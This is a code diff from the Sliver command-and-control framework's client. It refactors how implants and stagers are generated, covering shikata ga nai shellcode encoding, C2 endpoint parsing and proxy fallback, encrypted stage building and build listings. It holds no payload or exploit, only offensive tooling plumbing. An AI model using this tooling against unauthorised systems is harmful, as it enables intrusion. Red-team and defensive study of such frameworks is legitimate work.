@@ -33,9 +33,10 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
compile(config, disableSGN, save, con)
} else {
externalBuild(name, config, save, con)
externalBuild(config, save, con)
}
}
+8 -10
View File
@@ -72,7 +72,6 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
format, _ := cmd.Flags().GetString("format")
badChars, _ := cmd.Flags().GetString("badchars")
save, _ := cmd.Flags().GetString("save")
advOptions, _ := cmd.Flags().GetString("advanced")
bChars := make([]string, 0)
if len(badChars) > 0 {
@@ -96,14 +95,13 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
ctrl := make(chan bool)
con.SpinUntil("Generating stager, please wait ...", ctrl)
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
Arch: arch,
BadChars: bChars,
Format: format,
Host: lhost,
Port: lport,
Protocol: stageProto,
OS: stageOS,
AdvOptions: advOptions,
Arch: arch,
BadChars: bChars,
Format: format,
Host: lhost,
Port: lport,
Protocol: stageProto,
OS: stageOS,
})
ctrl <- true
<-ctrl
@@ -126,7 +124,7 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
}
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
} else {
con.PrintInfof("Here's your stager:\n")
con.PrintInfof("Here's your stager:")
con.Println(string(stageFile.GetFile().GetData()))
}
}
+33 -71
View File
@@ -90,7 +90,7 @@ var (
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, config := parseCompileFlags(cmd, con)
config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -99,9 +99,10 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(config, save, con)
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
compile(config, disableSGN, save, con)
} else {
_, err := externalBuild(name, config, save, con)
_, err := externalBuild(config, save, con)
if err != nil {
if err == ErrNoExternalBuilder {
con.PrintErrorf("There are no external builders currently connected to the server\n")
@@ -150,7 +151,9 @@ func saveLocation(save, DefaultName string, con *console.SliverConsoleClient) (s
saveTo, _ = filepath.Abs(save)
}
} else {
con.PrintInfof("%s does exist\n", save)
if fi.IsDir() {
con.PrintInfof("%s is dir\n", save)
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
} else {
con.PrintInfof("%s is not dir\n", save)
@@ -182,14 +185,14 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (string, *clientpb.ImplantConfig) {
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if nameF, _ := cmd.Flags().GetString("name"); nameF != "" {
name = strings.ToLower(nameF)
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
return nil
}
}
@@ -199,7 +202,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
mtlsC2, err := ParseMTLSc2(mtlsC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return "", nil
return nil
}
c2s = append(c2s, mtlsC2...)
@@ -207,7 +210,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
wgC2, err := ParseWGc2(wgC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return "", nil
return nil
}
wgKeyExchangePort, _ := cmd.Flags().GetUint32("key-exchange")
wgTcpCommsPort, _ := cmd.Flags().GetUint32("tcp-comms")
@@ -218,7 +221,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
httpC2, err := ParseHTTPc2(httpC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return "", nil
return nil
}
c2s = append(c2s, httpC2...)
@@ -226,7 +229,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
dnsC2, err := ParseDNSc2(dnsC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return "", nil
return nil
}
c2s = append(c2s, dnsC2...)
@@ -234,7 +237,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
namedPipeC2, err := ParseNamedPipec2(namedPipeC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return "", nil
return nil
}
c2s = append(c2s, namedPipeC2...)
@@ -242,7 +245,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
tcpPivotC2, err := ParseTCPPivotc2(tcpPivotC2F)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return "", nil
return nil
}
c2s = append(c2s, tcpPivotC2...)
@@ -256,7 +259,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return "", nil
return nil
}
rawCanaries, _ := cmd.Flags().GetString("canary")
@@ -289,7 +292,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
isSharedLib := false
isService := false
isShellcode := false
sgnEnabled := false
format, _ := cmd.Flags().GetString("format")
runAtLoad := false
@@ -304,8 +306,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
sgnEnabled = !sgnEnabled
case "service":
configFormat = clientpb.OutputFormat_SERVICE
isService = true
@@ -320,20 +320,20 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
targetArch := strings.ToLower(targetArchF)
targetOS, targetArch = getTargets(targetOS, targetArch, con)
if targetOS == "" || targetArch == "" {
return "", nil
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return "", nil
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return "", nil
return nil
}
// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
return "", nil
return nil
}
var tunIP net.IP
@@ -342,7 +342,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
tunIP = net.ParseIP(uniqueWGIP.IP)
if err != nil {
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
return "", nil
return nil
}
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
@@ -353,24 +353,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
connectionStrategy, _ := cmd.Flags().GetString("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return "", nil
return nil
}
// Parse Traffic Encoder Args
httpC2Enabled := 0 < len(httpC2)
trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(cmd, httpC2Enabled, con)
c2Profile, _ := cmd.Flags().GetString("c2profile")
if c2Profile == "" {
c2Profile = consts.DefaultC2Profile
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
Name: name,
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
@@ -402,11 +397,10 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
TrafficEncodersEnabled: trafficEncodersEnabled,
Assets: trafficEncoderAssets,
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
DebugFile: debugFile,
}
return name, config
return config
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled
@@ -539,7 +533,7 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
func hasValidC2AdvancedOptions(options url.Values) (bool, error) {
for key, value := range options {
if len(value) > 1 {
return false, fmt.Errorf("too many values specified for advanced option %s. Only one value for %s can be specified", key, key)
return false, fmt.Errorf("too many values specified for advanced option %s. Only one value for %s can be specified.", key, key)
}
testValue := value[0]
@@ -596,35 +590,13 @@ func hasValidC2AdvancedOptions(options url.Values) (bool, error) {
return true, nil
}
func checkOptionValue(c2Options url.Values, option string, value string) bool {
if !c2Options.Has(option) {
return false
} else {
optionValue := c2Options.Get(option)
return strings.ToLower(optionValue) == value
}
}
func uriWithoutProxyOptions(uri *url.URL) {
options := uri.Query()
// If any of the options do not exist, there is no error
options.Del("proxy")
options.Del("proxy-username")
options.Del("proxy-password")
options.Del("ask-proxy-creds")
options.Del("fallback")
uri.RawQuery = options.Encode()
}
// ParseHTTPc2 - Parse HTTP connection string arg
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
allArguments := strings.Split(args, ",")
for index, arg := range allArguments {
for index, arg := range strings.Split(args, ",") {
var uri *url.URL
var err error
if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
@@ -649,16 +621,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
Priority: uint32(index),
URL: uri.String(),
})
/* If a proxy is defined and the operator wants to fallback to connecting directly, add
a C2 that connects directly without the proxy settings.
*/
if checkOptionValue(uri.Query(), "fallback", "true") && uri.Query().Has("proxy") && !checkOptionValue(uri.Query(), "driver", "wininet") {
uriWithoutProxyOptions(uri)
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index + len(allArguments)),
URL: uri.String(),
})
}
}
return c2s, nil
}
@@ -783,7 +745,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
@@ -823,7 +785,6 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
con.PrintInfof("Creating external build ... ")
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
Name: name,
Config: config,
BuilderName: externalBuilder.Name,
})
@@ -833,6 +794,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
}
con.Printf("done\n")
var name string
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
for waiting {
select {
@@ -850,13 +812,13 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Build.ID {
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
return nil, fmt.Errorf("external build failed: %s", parts[1])
}
case consts.AcknowledgeBuildEvent:
if string(event.Data) == externalImplantConfig.Build.ID {
if string(event.Data) == externalImplantConfig.Config.ID {
msgF = "External build acknowledged by builder (template: %s) ... %s"
}
@@ -865,7 +827,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Build.ID {
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
name = parts[1]
waiting = false
@@ -906,7 +868,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
return nil, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -942,7 +904,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
fileData := generated.File.Data
if config.IsShellcode {
if !config.SGNEnabled {
if disableSGN {
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
} else {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
+37 -33
View File
@@ -14,24 +14,46 @@ import (
// GetSliverBinary - Get the binary of an implant based on it's profile
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
var data []byte
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
// get implant builds
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
data = generated.GetFile().GetData()
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
implantName := buildImplantName(profile.GetConfig().GetFileName())
_, ok := builds.GetConfigs()[implantName]
if implantName == "" || !ok {
// no built implant found for profile, generate a new one
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: profile.Config,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error generating implant\n")
return data, err
}
data = generated.GetFile().GetData()
profile.Config.FileName = generated.File.Name
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("Error updating implant profile\n")
return data, err
}
} else {
// Found a build, reuse that one
con.PrintInfof("Sliver name for profile: %s\n", implantName)
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: implantName,
})
if err != nil {
return data, err
}
data = regenerate.GetFile().GetData()
}
return data, err
}
@@ -113,24 +135,6 @@ func FormatCompleter() carapace.Action {
})
}
// HTTPC2Completer - Completes the HTTP C2 PROFILES
func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{})
if err != nil {
return carapace.ActionMessage("failed to fetch HTTP C2 profiles: %s", err.Error())
}
var results []string
for _, profile := range httpC2Profiles.Configs {
results = append(results, profile.Name)
}
return carapace.ActionValues(results...).Tag("HTTP C2 Profiles")
})
}
// TrafficEncoderCompleter - Completes the names of traffic encoders
func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-39
View File
@@ -1,39 +0,0 @@
package generate
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// ImplantsStageCmd - Serve a previously generated build
func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Unable to load implant builds '%s'\n", err)
return
}
options := []string{}
for name, _ := range builds.Configs {
options = append(options, name)
}
prompt := &survey.MultiSelect{
Message: "Select sessions and beacons to expose:",
Options: options,
}
selected := []string{}
survey.AskOne(prompt, &selected)
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
if err != nil {
con.PrintErrorf("Failed to serve implant %s\n", err)
return
}
}
+5 -17
View File
@@ -53,14 +53,14 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
implantBuildFilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds, implantBuildFilters, con)
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
@@ -71,15 +71,12 @@ func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilt
"Format",
"Command & Control",
"Debug",
"C2 Config",
"ID",
"Stage",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for sliverName, config := range builds.Configs {
for sliverName, config := range configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
@@ -100,15 +97,9 @@ func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilt
continue
}
implantType := ""
if builds.ResourceIDs[sliverName].Type != "" {
implantType = builds.ResourceIDs[sliverName].Type
}
implantType := "session"
if config.IsBeacon {
implantType += "beacon"
} else {
implantType += "session"
implantType = "beacon"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
@@ -125,9 +116,6 @@ func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilt
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf(config.HTTPC2ConfigName),
fmt.Sprintf("%v", builds.ResourceIDs[sliverName].Value),
fmt.Sprintf("%v", builds.Staged[sliverName]),
})
}
+9 -5
View File
@@ -19,6 +19,7 @@ package generate
*/
import (
"context"
"os"
"path/filepath"
"strings"
@@ -45,14 +46,17 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
}
_, err := compile(profile.Config, save, con)
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
implantFile, err := compile(profile.Config, disableSGN, save, con)
if err != nil {
return
}
profile.Config.Name = buildImplantName(implantFile.Name)
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("could not update implant profile: %v\n", err)
return
}
} else {
con.PrintErrorf("No profile with name '%s'", name)
}
+2 -2
View File
@@ -33,7 +33,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
name = args[0]
}
// name := ctx.Args.String("name")
_, config := parseCompileFlags(cmd, con)
config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -60,7 +60,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient,
con.PrintErrorf("No profile name specified\n")
return
}
_, config := parseCompileFlags(cmd, con)
config := parseCompileFlags(cmd, con)
if config == nil {
return
}
-80
View File
@@ -1,80 +0,0 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"strings"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
// ProfilesStageCmd - Generate an encrypted/compressed implant binary based on a profile
func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
profileName := args[0]
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
save, _ := cmd.Flags().GetString("save")
profile := GetImplantProfileByName(profileName, con)
if profile == nil {
con.PrintErrorf("Profile not found\n")
return
}
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
stage2, err := con.Rpc.GenerateStage(context.Background(), &clientpb.GenerateStageReq{
Profile: profileName,
Name: name,
AESEncryptKey: aesEncryptKey,
AESEncryptIv: aesEncryptIv,
RC4EncryptKey: rc4EncryptKey,
PrependSize: prependSize,
Compress: compress,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
saveTo, err := saveLocation(save, stage2.File.Name, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(saveTo, stage2.File.Data, 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
}
con.PrintInfof("Implant saved to %s\n", saveTo)
}
-304
View File
@@ -21,7 +21,6 @@ package generate
import (
"context"
"fmt"
"math"
"strings"
"github.com/jedib0t/go-pretty/v6/table"
@@ -62,8 +61,6 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
"Format",
"Obfuscation",
"Limitations",
"C2 Profile",
// "Nonce",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
@@ -93,8 +90,6 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
config.HTTPC2ConfigName,
// profile.ImplantID,
})
}
@@ -125,305 +120,6 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
return nil
}
func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string {
properties := make(map[string]string)
var plural string
properties["osarch"] = fmt.Sprintf("%s %s", strings.Title(config.GOOS), strings.ToUpper(config.GOARCH))
if config.IsBeacon {
properties["implanttype"] = "Beacon"
jitter := int(config.BeaconJitter / int64(math.Pow10(9)))
plural = "s"
if jitter == 1 {
plural = ""
}
properties["beaconjitter"] = fmt.Sprintf("%d second%s", jitter, plural)
interval := int(config.BeaconInterval / int64(math.Pow10(9)))
plural = "s"
if interval == 1 {
plural = ""
}
properties["beaconinterval"] = fmt.Sprintf("%d second%s", interval, plural)
} else {
properties["implanttype"] = "Session"
}
if config.Debug {
properties["debugging"] = "enabled"
} else {
properties["debugging"] = "disabled"
}
if config.Evasion {
properties["evasion"] = "enabled"
} else {
properties["evasion"] = "disabled"
}
if config.ObfuscateSymbols {
properties["obsymbols"] = "enabled"
} else {
properties["obsymbols"] = "disabled"
}
if config.SGNEnabled {
properties["sgn"] = "enabled"
} else {
properties["sgn"] = "disabled"
}
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
if reconnect == 1 {
plural = ""
} else {
plural = "s"
}
properties["reconnect"] = fmt.Sprintf("%d second%s", reconnect, plural)
properties["maxerrors"] = fmt.Sprintf("%d", config.MaxConnectionErrors)
poll := int(config.PollTimeout / int64(math.Pow10(9)))
if poll == 1 {
plural = ""
} else {
plural = "s"
}
properties["polltimeout"] = fmt.Sprintf("%d second%s", poll, plural)
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
properties["implantC2"] = strings.Join(c2URLs, "\n")
properties["canary"] = strings.Join(config.CanaryDomains, "\n")
if config.ConnectionStrategy == "" {
properties["connectstrat"] = "Sequential"
} else if config.ConnectionStrategy == "r" {
properties["connectstrat"] = "Random"
} else if config.ConnectionStrategy == "rd" {
properties["connectstrat"] = "Random Domain"
} else {
properties["connectstrat"] = config.ConnectionStrategy
}
properties["outputlimits"] = "n"
if config.LimitDomainJoined {
properties["limit-domjoin"] = "Yes"
properties["outputlimits"] = "y"
} else {
properties["limit-domjoin"] = "No"
}
if config.LimitDatetime != "" {
properties["limit-dt"] = config.LimitDatetime
properties["outputlimits"] = "y"
} else {
properties["limit-dt"] = "No restriction"
}
if config.LimitFileExists != "" {
properties["limit-file"] = config.LimitFileExists
properties["outputlimits"] = "y"
} else {
properties["limit-file"] = "No restriction"
}
if config.LimitHostname != "" {
properties["limit-host"] = config.LimitHostname
properties["outputlimits"] = "y"
} else {
properties["limit-host"] = "No restriction"
}
if config.LimitLocale != "" {
properties["limit-locale"] = config.LimitLocale
properties["outputlimits"] = "y"
} else {
properties["limit-locale"] = "No restriction"
}
if config.LimitUsername != "" {
properties["limit-user"] = config.LimitUsername
properties["outputlimits"] = "y"
} else {
properties["limit-user"] = "No restriction"
}
switch config.Format {
case clientpb.OutputFormat_EXECUTABLE:
properties["format"] = "Executable"
case clientpb.OutputFormat_SHARED_LIB:
properties["format"] = "Shared Library"
case clientpb.OutputFormat_SERVICE:
properties["format"] = "Service"
case clientpb.OutputFormat_SHELLCODE:
properties["format"] = "Shellcode"
case clientpb.OutputFormat_THIRD_PARTY:
properties["format"] = "Third Party"
}
if config.TrafficEncodersEnabled {
properties["trafficencoders"] = strings.Join(config.TrafficEncoders, "\n")
}
return properties
}
// PrintProfileInfo - Print detailed information about a given profile
func PrintProfileInfo(name string, con *console.SliverConsoleClient) {
profile := GetImplantProfileByName(name, con)
if profile == nil {
con.PrintErrorf("Could not find a profile with the name \"%s\"", name)
return
}
config := profile.Config
properties := populateProfileProperties(config)
//con.Printf("--- Details for profile %s ---\n", profile.Name)
tw := table.NewWriter()
// Implant Basics
tw.AppendRow(table.Row{
"OS / Architecture",
properties["osarch"],
})
tw.AppendRow(table.Row{
"Implant Type",
properties["implanttype"],
})
tw.AppendRow(table.Row{
"Implant Format",
properties["format"],
})
con.PrintInfof("Implant Basics\n")
con.Printf("%s\n\n", tw.Render())
tw.ResetRows()
// Obfuscation Options
tw.AppendRow(table.Row{
"Evasion is",
properties["evasion"],
})
tw.AppendRow(table.Row{
"Debugging is",
properties["debugging"],
})
tw.AppendRow(table.Row{
"Obfuscation of symbols is",
properties["obsymbols"],
})
tw.AppendRow(table.Row{
"Shikata Ga Nai (SGN) is",
properties["sgn"],
})
con.PrintInfof("Obfuscation\n")
con.Printf("%s\n\n", tw.Render())
// Timeouts and Intervals
tw.ResetRows()
if config.IsBeacon {
tw.AppendRow(table.Row{
"Beacon Interval",
properties["beaconinterval"],
})
tw.AppendRow(table.Row{
"Beacon Jitter",
properties["beaconjitter"],
})
}
tw.AppendRow(table.Row{
"Reconnect Interval",
properties["reconnect"],
})
tw.AppendRow(table.Row{
"Maximum Connection Errors",
properties["maxerrors"],
})
tw.AppendRow(table.Row{
"Poll Timeout",
properties["polltimeout"],
})
con.PrintInfof("Timeouts and Intervals\n")
con.Printf("%s\n\n", tw.Render())
// C2
tw.ResetRows()
tw.AppendRow(table.Row{
"Endpoints",
properties["implantC2"],
})
if len(config.CanaryDomains) > 0 {
plural := "s"
if len(config.CanaryDomains) == 1 {
plural = ""
}
tw.AppendRow(table.Row{
fmt.Sprintf("Canary Domain%s", plural),
properties["canary"],
})
}
tw.AppendRow(table.Row{
"Connection Strategy",
properties["connectstrat"],
})
con.PrintInfof("Command and Control\n")
con.Printf("%s\n\n", tw.Render())
// Connection Restrictions
if properties["outputlimits"] == "y" {
tw.ResetRows()
tw.AppendRow(table.Row{
"Device must be domain joined",
properties["limit-domjoin"],
})
tw.AppendRow(table.Row{
"Execution will only occur before the following date/time",
properties["limit-dt"],
})
tw.AppendRow(table.Row{
"Files that must be present",
properties["limit-file"],
})
tw.AppendRow(table.Row{
"Device has the hostname",
properties["limit-host"],
})
tw.AppendRow(table.Row{
"Device uses the locale",
properties["limit-locale"],
})
tw.AppendRow(table.Row{
"The implant must be running under the context of specified user",
properties["limit-user"],
})
con.PrintInfof("Execution is subject to the following restrictions\n")
con.Printf("%s\n\n", tw.Render())
}
// Traffic encoders
if config.TrafficEncodersEnabled {
tw.ResetRows()
tw.AppendRow(table.Row{
"Traffic encoders",
properties["trafficencoders"],
})
con.PrintInfof("Traffic Encoders\n")
con.Printf("%s\n\n", tw.Render())
}
// Output messages that would otherwise get lost in between the tables
if properties["outputlimits"] == "n" {
con.PrintInfof("Execution is not subject to any restrictions\n")
}
if !config.TrafficEncodersEnabled {
con.PrintInfof("Traffic encoders are not enabled\n")
}
}
// ProfileNameCompleter - Completer for implant build names
func ProfileNameCompleter(con *console.SliverConsoleClient) carapace.Action {
comps := func(ctx carapace.Context) carapace.Action {
+4 -86
View File
@@ -59,9 +59,6 @@ var (
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
@@ -116,9 +113,6 @@ var (
// Builders
consts.BuildersStr: buildersHelp,
// HTTP C2
consts.C2ProfileStr: c2ProfilesHelp,
}
